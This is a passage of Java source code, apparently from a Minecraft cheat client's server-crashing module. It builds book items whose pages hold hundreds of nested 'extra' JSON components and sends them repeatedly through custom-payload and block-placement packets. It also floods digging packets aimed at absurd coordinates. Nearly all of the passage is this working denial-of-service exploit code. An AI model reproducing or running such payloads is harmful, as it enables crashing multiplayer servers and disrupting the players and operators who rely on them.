NBTTagString(\"{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}\"));\n                    }\n\n                    comp.setString(\"author\", RandomStringUtils.random(16, \"0123456789\"));\n                    comp.setString(\"title\", RandomStringUtils.random(16, \"0123456789\"));\n                    comp.setByte(\"resolved\", (byte) 1);\n                    comp.setTag(\"pages\", list);\n                    final ItemStack stack = new ItemStack(Items.written_book);\n                    stack.setTagCompound(comp);\n                    final PacketBuffer buffer = new PacketBuffer(Unpooled.buffer());\n                    buffer.writeItemStackToBuffer(stack);\n                    PacketUtil.sendPacket(new C17PacketCustomPayload(\"MC|BEdit\", buffer));\n                }\n                break;\n            }\n\n            case \"Mare\": {\n                for (int i = 0; i < packets.getValue(); i++) {\n                    final NBTTagCompound tag = new NBTTagCompound();\n                    final NBTTagList list = new NBTTagList();\n                    final StringBuilder value = new StringBuilder().append(\"{\");\n                    final int amount = 833;\n\n                    int i2;\n                    for (i2 = 0; i2 < amount; i2++) {\n                        value.append(\"extra:[{\");\n                    }\n\n                    for (i2 = 0; i2 < amount; i2++) {\n                        value.append(\"text:\\u2F9F}],\");\n                    }\n\n                    value.append(\"text:\\u2F9F}\");\n                    list.appendTag(new NBTTagString(value.toString()));\n                    tag.setTag(\"pages\", list);\n                    final ItemStack book = new ItemStack(Items.writable_book);\n                    book.setTagCompound(tag);\n                    PacketUtil.sendPacket(new C08PacketPlayerBlockPlacement(new BlockPos(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ), 2, book, 0.0F, 0.0F, 0.0F));\n                }\n                break;\n            }\n\n            case \"Interact\": {\n                for (int i = 0; i < packets.getValue(); i++) {\n                    PacketUtil.sendPacket(new C07PacketPlayerDigging(C07PacketPlayerDigging.Action.ABORT_DESTROY_BLOCK, new BlockPos(RandomUtils.nextDouble(0, Double.MAX_VALUE), RandomUtils.nextDouble(0, Double.MAX_VALUE), RandomUtils.nextDouble(0, Double.MAX_VALUE)), EnumFacing.UP));\n                }\n                break;\n            }\n\n            case \"One Packet\": {\n                final NBTTagCompound tag = new NBTTagCompound();\n                final NBTTagList list = new NBTTagList();\n\n                for (int i = 0; i < 2; i++) {\n                    list.appendTag(new NBTTagString(\"{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}]